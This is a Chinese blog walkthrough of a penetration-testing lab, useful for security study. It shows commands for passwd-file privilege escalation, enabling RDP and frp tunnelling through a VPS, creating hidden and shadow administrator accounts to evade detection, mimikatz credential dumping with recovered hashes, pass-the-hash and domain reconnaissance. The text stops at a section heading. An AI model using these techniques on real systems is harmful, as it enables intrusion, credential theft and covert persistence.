弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

admin 2023年12月28日11:27:20评论37 views字数 23543阅读78分28秒阅读模式

简介:该文是弱口令招新靶场(https://mp.weixin.qq.com/s/m4JSVZ5wlXBk94wSqJuoJg)的后续。靶场下载链接、以及相关材料均在前文给出。域渗透在该文仅取得了伪造的域管权限。还有后文通过psexec、wmiexec等正式取得域管权限,并上线viper。

声明:本文仅供学习和研究网络安全技术之用,阅读者在使用本文提供的信息时,请务必遵守当地法律法规。禁止利用本文所述技术进行非法活动,如未经授权的入侵、攻击、侵犯他人隐私等行为。对于违反本声明所产生的一切后果,作者不承担任何责任。请以学习和研究的目的正确使用本文的内容,并自行承担所有风险

1.目录

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

2.入口机提权

在前文(https://mp.weixin.qq.com/s/m4JSVZ5wlXBk94wSqJuoJg)的基础上,已获入口机的权限,但权限较低为weblogic的权限。

(注意:该靶场存在快照信息,如登陆账户的缓存信息等,可通过快照直接转到存在缓存信息的状态,要不然后续的域渗透中,读取明文密码等操作无法执行)

2.1 passwd权限配置错误提权

2.1.1 添加用户尝试

:该小篇为原理测试,可直接跳过该小节,直接阅读2.1.2中的内容,通过修改其他用户的密码获取root权限)

通过查看 /etc/passwd 文件的权限可知 该文件 原本默认可读的权限 被错误配置为任意用户可读写。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

该文件用以保存用户信息,密码默认保存至 /etc/shadow 文件中。但 可以通过直接修改 /etc/passwd 文件 直接创建用户直接修改密码!!!

读取到用户信息,每一行的信息如下,想要添加新用户也需要满足下列格式才可

root:x:0:0:root:/root:/bin/bash
用户名:加密密码:用户ID(或UID):组ID(或GID):用户名:用户家目录:登录Shell

#注:在passwd文件中 加密密码字段 用x代替 是因为 密码信息 保存在 /etc/shadow 文件中 仅root权限可查看
#但用户登录时默认查询密码是从passwd文件中查询的 所以可以将加密密码直接写在passwd文件中 创建账户 或 修改其他用户密码

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

创建新用户(随便找个已有用户信息,将用户名修改为不冲突的 任意用户名即可 如下 复制netuser的用户信息,并修改用户名为test):

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

再上图中,用户信息好处理,但加密密码部分,不能写明文,需要进行加密处理,加密方法为在linux系统中,使用一下命令直接生成即可:

#密码为 123456  默认盐值为 addedsalt  使用默认盐值后加密123456的结果为:adrla7IBSfTZQ
perl -le 'print crypt("123456","addedsalt")'

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

将上图中加密后的密文,直接替换在新增的用户中,即可通过该新增的用户直接使用ssh远程登录,替换后如下:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

使用新增的用户名,自己加密的密码即可直接登录

注意:
1.因为我们使用的信息是原有的netuser用户的信息,故登陆后,虽然我们登录的用户名是自己设置的test但登陆后的信息是调用的netuser的信息。即用用netuser的权限但身份确是test
2.不要疑惑为何不直接复制root用户的信息,因为默认情况下root用户是禁止远程登录的,自行尝试即可,登录失败

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

2.1.2 修改已有用户密码获取root权限

想要获取root权限 有三种方法
1.root用户
2.sudo用户
3.漏洞提权
注:并不是任何时候都需要提权的,提权是建立在没有权限执行目标操作的基础上的。比如待获取的敏感信息已经可以获取到了,就没必要废九牛二虎之力强行去提权了。当然如果随手可提,那就顺手提个呗。

在root用户不能远程登录的情况下,此处可以尝试修改passwd文件种具有sudo权限的用户信息,登录,并通过sudo获取权限。

查找具有sudo权限的用户:

#查看哪些用户是sudo组的成员
getent group sudo

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

通过上述命令可以看到 具有sudo命令权限的用户是:netuser,然后只要登录该用户,就可通过sudo获取root权限,如下:

netuser:x:1000:1000:Netuser:/home/netuser:/bin/bash
在passwd文件中,netuser信息如上, 密码位用x标识,代表要去 /etc/shadow文件中查找密码,但是shadow文件不具有修改权限,故直接在此处对x进行替换,修改为2.1.1中经过hash加密的即可
netuser:adrla7IBSfTZQ:1000:1000:Netuser:/home/netuser:/bin/bash

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.开启内网3389远程桌面

在前文(https://mp.weixin.qq.com/s/m4JSVZ5wlXBk94wSqJuoJg)的基础上,通过ms17-010 已获取第二台靶机的权限

3.1 假设未开启RDP服务

使用命令 查看开放的端口,可发现并无3389端口,判断未开放RDP服务(不排除修改默认端口的情况)

chcp 65001 && netstat -ano

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

使用命令 查看开启的服务  通过 findstr 进行过滤排查,可看到下列截图中,仅有chcp修改字符集的结果,无远程桌面服务

chcp 65001 && net start | findstr "Remote Desktop Services"

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

假设windows机未开启远程桌面服务的情况下,通过cmd命令修改注册表开启/关闭远程桌面服务

注:修改注册表需要管理员权限,通过ms17-010获取的权限为更高一级的system权限

#启用远程桌面
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

#禁用远程桌面
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

如下:chcp命令修改字符集,否则如第二行 乱码

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.2 端口转发链接RDP

使用viper 建立正向转发,将vps13389端口监听到的数据流转发至 靶机的3389端口,及远程桌面

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

frp端口转发,链接远程桌面(实测中viper的端口转发功能不稳定,易挂,每次都要重启viper才可,麻烦。但使用frp代理转发的话,一级代理还简单,多级代理则较为复杂。各有利弊,自行尝试):

此处,采用vps监听端口,由入口机向vps建立链接反向代理(别问为什么viper是正向转发,这里就是反向代理,只能说烧脑,不管正向,反向其实都 具有相对性,看是相对谁来说的)

在原有的frp基础上进行修改(参照前文(https://mp.weixin.qq.com/s/m4JSVZ5wlXBk94wSqJuoJg)7.2.2中frp代理上线第二台靶机的配置):

frps配置文件如下(在vps上执行,监听端口,不改变):

[common]
bind_port = 8000

frpc配置文件如下(在入口机上执行,因为入口机,即可以和vps建立链接,又可以访问到第二台靶机107.128,如果访问不到可能就需要建立多级代理或更换执行的位置了,具体情况视实际环境而定):

[common]
server_addr = 192.168.0.62
server_port = 8000

[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088

[port_forward]
type = tcp
local_ip = 192.168.107.128
local_port = 3389
remote_port = 23389

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

修改完配置后,重启入口机上frpc服务即可:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

在本机打开远程桌面链接工具,输入vps的 ip 以及监听的端口,即可链接内网靶机的远程桌面

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

如果转发失败,则可以尝试重启viper服务,排除因为该服务的端口转发功能异常导致的问题,转发失败则如下图:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

通过frp代理转发的 23389端口 也可链接

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.3 创建账户登录RDP

简介:通过命令启动RDP服务并通过端口转发的方式,使本机可直接链接内网RDP服务。但登录远程桌面 需要通过账号密码登录。该小节介绍,在前文(https://mp.weixin.qq.com/s/m4JSVZ5wlXBk94wSqJuoJg)可以执行命令的前提下,创建用户并通过创建的用户登录RDP的方法。

3.3.1 创建普通账户

描述:正常情况下创建账户,分为普通用户权限、管理员用户权限,但在实际环境中 创建的账户权限尽可能为高权限用户,但不管什么权限用户,都容易被发掘,也就是本节所说的普通用户,如下:

3.3.1.1 待使用命令简介

创建管理员权限且具有登录远程桌面权限的待使用命令如下,分为CMD、powershell另种命令,步骤一样,仅讲述CMD。powershell自行尝试:

使用CMD命令:

#创建新用户
net user username password /add

#添加管理员权限
net localgroup Administrators username /add

#cmd命令 修改注册表 开启远程桌面服务
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

使用powershell命令:

#创建用户
New-LocalUser "username" -Password (ConvertTo-SecureString "password" -AsPlainText -Force) -FullName "FullUsername" -Description "Description of the User."

#添加管理员权限
Add-LocalGroupMember -Group "Administrators" -Member "username"

#powershell命令 修改注册表 开启远程桌面服务
Set-ItemProperty -Path 'HKLM:SystemCurrentControlSetControlTerminal Server'-name "fDenyTSConnections" -Value 0

3.3.1.2 创建用户详细步骤

使用命令查看先有用户:net user

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

如上图,出现乱码的情况,是因为 windows 和 linux 默认字符集不一致的情况导致的,可使用命令 chcp 65001 修改cmd执行时的字符集,即可修复乱码问题,但又因为通过viper所执行的命令,并非时持续性的交互式的shell,故每次执行命令都要携带设置字符集的命令,即:

shell chcp 65001 && net user
#注:在通过viper的meterpreter执行系统命令时,需要添加前缀 shell 才会将后续内容作为系统命令传输给cmd执行

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

由上图可以看出来 现有账户为:管理员账户:Administrator   来宾账户:Guest  域成员账户:SERVER08R2

至于为什么知道 SERVER08R2 是域成员用户,暂无法讲清,只能说从 1.该靶机是域成员主机。2.该用户名为新增用户名(当然 将administrator添加在域成员用户组的话 也可以是域成员用户)。3.该靶场利用域环境拿shell 大概率要有域用户。等等因素吧,后续验证即可。

windows环境下,创建账户:

#net user [待创建的用户名] [待创建的用户登录密码] /add
chcp 65001 && net user ruokouling Rkl123456 /add

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

查看创建的账户的用户信息,可以看到在下图中,新创建的用户在Users组,仅普通用户权限:

chcp 65001 && net user ruokouling

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

添加管理员权限

#net localgroup [将创建的用户添加在哪一个用户组中] /add
shell chcp 65001 && net localgroup Administrators ruokouling /add

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

成功登录远程桌面。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.3.1.3 单用户登录

windows 属于单用户登录,当同一用户被多次登录时,会将原有用户挤掉,导致被发现入侵,

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

创建新用户test2

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

可以看到 ,在windows环境下,单用户登录,当同一用户登录时,如果原账户登录,会被挤掉,但不同用户登录则不会。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.3.1.3 多用户登录

注意:虽然可以通过修改注册表的方式,达到多用户登录的目的,且互为独立桌面。

#该注册表键值默认为1 即单用户登录,当同一用户建立新链接时,则断开旧链接。通过下列命令,设置为0后,则可以多用户登录统一账户
#打开多用户登录配置,设置后立即生效无需重启:
reg add "HKLMSystemCurrentControlSetControlTerminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

#关闭多用户登录配置,重启生效:
reg add "HKLMSystemCurrentControlSetControlTerminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 1 /f

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

可以看到建立了两个远程链接,桌面内容不一致,互不影响。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.3.2 创建普通隐藏用户

简介:在3.3.1小节中,可以看到通过 命令 net user是可以看到我们新增的账号的,且该命令较为常用,容易被发现异常账号,故此时便创建隐藏账号,通过net user命令无法查看用户名的方式来达到隐藏自身的目标。

windows中,除普通账号外,还有共享账号,通常为网络共享而创建。这些被隐藏的账户可以通过命令行接口访问,但不会在控制面板用户账户列表中显示。

使用下列命令可查看:

net share

可以看到,在使用命令 net user 命令查看用户时,不会显示 以$符号结尾的用户。故,在创建账户时,可以以$符号结尾,即可达到普通隐藏的目标。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

创建普通隐藏账户:

可以看到,当使$符号结尾 创建的用户名,在使用net user命令查看时不显示,在使用net share 查看共享名时也不会显示,达到隐藏的目的。但注意,直接查看用户账户是可以直接看到的,如下图:

net user yinc$ Admin123 /add

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

同样为该用户添加administrator权限:

net localgroup Administrators yinc$ /add

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

注意:如果不赋予 administrator权限 仅普通用户的话,是无法登录远程桌面的

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

在控制面板的用户账户界面,可以直接看到普通隐藏账户。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

或通过 powershell命令查看:

#使用 PowerShell 的 Get-WmiObject 命令来查看所有本地和网络用户,包括隐藏的用户
Get-WmiObject -Query "Select * from Win32_UserAccount"

#如果只希望查看本地用户
Get-WmiObject -Query "Select * from Win32_UserAccount Where LocalAccount='True'"

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.3.3 创建深度隐藏用户

简介:在windows环境中,所有重要数据均在注册表中存储,包括用户名的识别,深度隐藏便是通过,导出已创建的用户注册表信息,并删除隐藏用户的所有数据后,单独导入注册表信息。这样除注册表外,均不可查看该隐藏用户。具体步骤如下:

因为要操作注册表,故通过远程桌面较为方便(好吧,仅找到图形化界面的操作步骤文章了,没找到全命令行的文章。。。后续可以尝试一个步骤一个步骤的找相关命令去完成)

3.3.3.1 配置注册表权限

在运行窗口打开regedit(注册表)编辑器,并找到:HKEY_LOCAL_MACHINE  → SAM→SAM

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

右键打开权限设置

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

可以看到,system用户组 具有完全控制权限。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

administration用户组,无权限。要么在创建用户的时候,把账户添加在system用户组(自行尝试,本人未测试),要么在此处添加权限

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

在完全控制权限处,打上对勾点击确定保存,重启regedit即可

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

可以看到,赋予权限后,重启regedit,即可看到更多信息。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.3.3.2 查找账户及其账户信息

在上述赋予权限的基础上,继续向下找,即可找到我们的账户信息:

HKEY_LOCAL_MACHINE → SAM→SAM→Domains→Account→Users→Names→yinc$

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

注意,在 Users 中,Names中的用户名 和0000开头的键值对是  一一对应的。即0000开头的键值对中,保存着用户信息:

比如 Names中的 yinc$用户 点击后,显示的类型是 0x3ef 则 用户yinc$的用户信息,均保存在000003ef中

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

同样的道理,000001F4中对应的就是administrator用户的信息

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

好的,至此已经找到了windows中账户信息保存的地方,那么根据我们的理论:导出注册表中的账户信息,再删除我们创建的账户,那么系统中将不再存在我们创建的账户,然后再将导出的注册表信息重新导入注册表,那么仅注册表中有相关信息,且因为是复制的administrator的用户信息,家目录也是共用的administrator的,故,通过此方法所存在的用户仅注册表中可找到相关信息,其余地方,如net命令、控制面板等均无相关信息。

3.3.3.3 复制账户信息

继续我们的操作

假设此处我们待复制信息的账户是administrator(注:根据实际情况选择,如administrator默认不启用等问题就要换别的账户 或启用administrator后再使用该账户信息。但主动启用也容易暴露),则将administrator所对应的账户信息,复制到我们创建的影子账户所对应的信息中。如下:

因为administrator对应的是 0x01f4 故打开该键值,找到其中的 F 项 双击打开,选中 复制即可如下图:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

复制选中信息后,找到我们所创建的影子账户所对应的账户信息,粘贴信息前如下:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

粘贴后如下:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.3.3.4 导出账户信息并删除账户

在上述步骤中,已成功修改我们创建的账户 yinc$ 的账户信息,此时,只需要将两个键值导出 并删除该账户的所有信息,然后仅导入注册表信息即可完成,如下:

找到待导出键值对,右键,选择导出即可

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

选择保存路径并填写文件名

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

删除前,可以先远程登录该账户测试一下,可能会出现如下提示(原因可能是因为administrator默认属于域用户,yinc$添加在administrator组下,或是复制信息后也成为域用户了,上文注册完忘了进行登录测试,自行测试即可,不影响):

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

继续操作,导出完毕后,使用命令行,删除 yinc$ 的账户信息:弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.3.3.5 导入注册表账户信息

直接双击导出的信息文件即可:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

成功导入账户及其对应数据:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

再次尝试远程登录,账户信息存在,可登录,初次登录,按要求修改密码即可:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

3.3.3.6 登录并重新赋予高权限

可以看到 下列命令 直接输入用户名,可查看账户信息,但是 net user命令找不到该账户,且控制面板的用户账户中、C盘用户文件夹下也均无该账户信息:

注意:可看到下图中存在报错信息,提示无法访问,且本地组成员为空,可能是因为刚刚删除用户后,该账户信息也全被删除,需要重新添加,虽然添加administrator组后仍然报错,但是不影响命令行界面的执行,并且 是不影响正常打开文件夹的。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

注:下图中虽然出现了 TEMP 临时目录,但是 当远程链接注销退出后,也会自动清除,可自行尝试(之所以出现TEMP而没有共用目录是因为administrator默认未启用,或者该账户未登陆过,如下图administrator未登陆过,无administrator用户的文件夹,复制其他用户的信息即可):

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

还是用命令正常添加权限,虽然添加后仍然报错,但是不影响命令的执行:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

虽然不清楚什么原因依旧报错,无法打开 资源管理器,但是直接执行相关命令即可,依旧有控制权限,包括管理员权限才能打开的注册表,和添加用户。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

下图为复制用户:SERVER08R2 的信息截图:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

可以看到 影子账户 不能打开资源管理器 会报错,但是不影响直接打开文件夹

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

注意:虽然深度隐藏账户,在控制面板的用户账户、C盘用户文件夹、net user命令等均无法被发现,但 因为是导入注册表信息添加的账户,故在注册表中仍可被发现。

3.3.4 超级隐藏账户

仅找到相关说明:利用RootKit工具进行高级隐藏,隐藏注册表中的键值对,将我们导入的用户信息进行隐藏。未找到相关步骤。后续碰到再行尝试。或有哪位是否有相关文章,麻烦推荐个链接,拜谢。

4. 登录第二台靶机

简介:三台靶机:linux、windows、windows。其中第二三台靶机处于域环境。除了前文(https://mp.weixin.qq.com/s/m4JSVZ5wlXBk94wSqJuoJg)中通过ms17-010漏洞直接拿权限(个人盲猜制作靶场的师傅是想让通过域环境拿flag的 但是忘了给ms17-010打补丁),还可与用域环境特有的手法获取权限。

(注:域渗透时,域环境的各个靶机尽可能的不要重启,因为重启后会导致原有的缓存信息丢失,导致无法进行域渗透,如:登陆账户的hash值等)

4.1 创建新用户直接登录

基于前文(https://mp.weixin.qq.com/s/m4JSVZ5wlXBk94wSqJuoJg)已经通过ms17-010漏洞可以执行命令的基础上,通过命令参照本文 3.1、3.2、3.3中的内容,开启远程桌面、端口转发以及创建管理员用户的方式,直接通过远程桌面登录域控。

步骤基本一致,原理相同,此小节不做复现,自行尝试。

4.2 获取明文密码直接登录

在使用msf获取交互式shell后,使用命令 可查看当前在线用户(注:此操作须在还原快照的基础上操作,否则不存在该缓存信息):

query user

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

上线viper后,上传自带的mimikatz_x64.exe

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

通过msf的交互式shell,执行mimikatz,读取明文密码以及hash值,或者通过 6.1 中的非交互式执行。

进入交互界面、设置字符集、找到上传的文件:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

(mimikatz较为详细的使用示例可参照:https://blog.csdn.net/weixin_40412037/article/details/113348310

此处通过msf的交互式shell执行mimikatz,因为是通过ms17-010漏洞拿到的shell,权限为system权限(windows权限一般情况下分为普通用户权限user、管理员权限administrator、系统权限SYSTEM,但还有个比system更高的权限:TrustedInstaller),故无需再进行提权。

启动mimikatz:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

在管理员权限下貌似需要使用提权命令提权,但system权限下会失败:

privilege::debug

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

成功如下:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

但是咱这里是system权限,貌似不影响后续使用,继续执行相关命令即可,取得用户名和密码 SERVER08R2/NcJVPV3w9Wf7:

可以看到 账户SERVER08R2 的Domain归属是本机,而不是域环境

sekurlsa::logonpasswords

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

利用获取到的账号密码,登录远程桌面(实战环境中可通过3.1、3.2、3.3中的步骤 启动远程桌面服务、端口转发然后直接远程登录。此处直接登录靶机)

因为我们获得的账户不是域用户,是本机用户,故需要使用下列方法才能登录靶机(注:下列问题是直接通过vm虚拟机登录才会出现的问题,通过远程桌面登录则不用考虑登录域还是登录本机,直接登录本机)

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

注意:上图中的计算机名貌似是默认提示的,并不是真实的,需要通过下列命令查看计算机名:

hostname

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

WIN-S96L5Q5A734SERVER08R2

(注:直接用账号密码如下图,理论上是可以直接登入的,但不知道是什么原有或是我真的搞错了,一直登陆失败,但通过远程桌面可以直接登录)

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

5. 域渗透

5.1 hash传递攻击

简介:哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、LM Hash都不需要明文密码因此都可以被称为Hash传递攻击(详解参照:https://blog.csdn.net/weixin_58783105/article/details/133717653

在上文中 通过mimikatz获取了账户hash值,其中存在域用户,且有其ntlm的值,如下:

可以看到 账户WIN-S96L5Q5A734$ 归属(Domain)域环境:WEAK (注意末尾的$符号)

(注:别问为啥不用下面的Password。。。。鬼知道那是啥,有师傅知道的话麻烦踢我,私信解答一下 万分感谢)

NTLM     : 765886434d8392af3380b0d97638a7e0

命令:
privilege::debug#提升权限
sekurlsa::logonpasswords#获取内存中的登录信息

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

使用mimikatz 链接ntlm:

(注意:使用右键 管理员权限打开cmd命令行)(注意:再利用hash传递攻击时,因为登录的是域控,所以一定要注意账号归属是域控的账户才可)

#提升权限
privilege::debug
#使用win-s96l5q5a734$的NTLM hash值进行hash传递攻击,域:weak.com
sekurlsa::pth /user:win-s96l5q5a734$ /domain:weak.com /ntlm:765886434d8392af3380b0d97638a7e0

sekurlsa::pth /user:Administrator /domain:weak.com /ntlm:597e2e3805b87b5e3e52798392a55b6a

需要先提权,否则直接使用hash传递会报错,如下:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

如下,提权后即可正常执行,且弹出右下角的新的cmd命令窗口,该窗口便是通过hash传递创建的权限窗口,可执行域环境相关的命令,链接域控并操作。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

注:因为账户:win-s96l5q5a734$ 属于域用户,故 只要是在域环境中的成员机都可以使用该账户进行登录,此处跳过了登录过程,直接进入身份认证,即使用ntlm的hash认证。认证成功后即可直接执行命令。同样的域成员往往有很多台,此时怎么判定要在哪台域成员机上执行命令呢?当然还是ip了,如下:

域控也属于域成员,域控的ip是:192.168.48.128,故使用命令 ,注意观察,因为我们登录的域用户是普通用户,没有权限查看C盘目录,所以会提示拒绝访问,但是如果hash错误认证失败,提示的是登陆失败。(修改hash值,将正确的末尾0修改为错误的末尾1)

dir \192.168.48.128C$

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

注:上述用户因为获取的是普通用户权限,所以没有权限访问,如果获取的是管理员 权限则可以直接操作。相关操作放在下文获取权限后(参照5.3获取管理员权限)。

5.2 信息搜集

查找所在域域控机IP

#通过hash攻击登录域环境,然后在域环境查询时间,会在域控执行,并返回域控的域名地址及时间
net time /domain

#使用ping命令,解析域控域名得到域控的ip地址 ,忽略大小写
ping win-jk2fg246gef.weak.com

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

查看 域管组(域管理员用户组)有哪些用户

net group "domain admins" /domain

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

查看 有哪些域用户

net user /domain

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

查看 有哪些 域 机器账户(注意与用户的区别,一个是使用者登录的账户,一个是PC链接域的账户)

net group "Domain Computers" /domain

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

查看 域控制器 中有哪些域机器账户

net group "domain controllers" /domain

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

5.3 伪造域管用户

(本小节参考:https://blog.csdn.net/qq_42077227/article/details/127873984https://zhuanlan.zhihu.com/p/456718900https://blog.csdn.net/m0_64910183/article/details/126900107 相互对照)

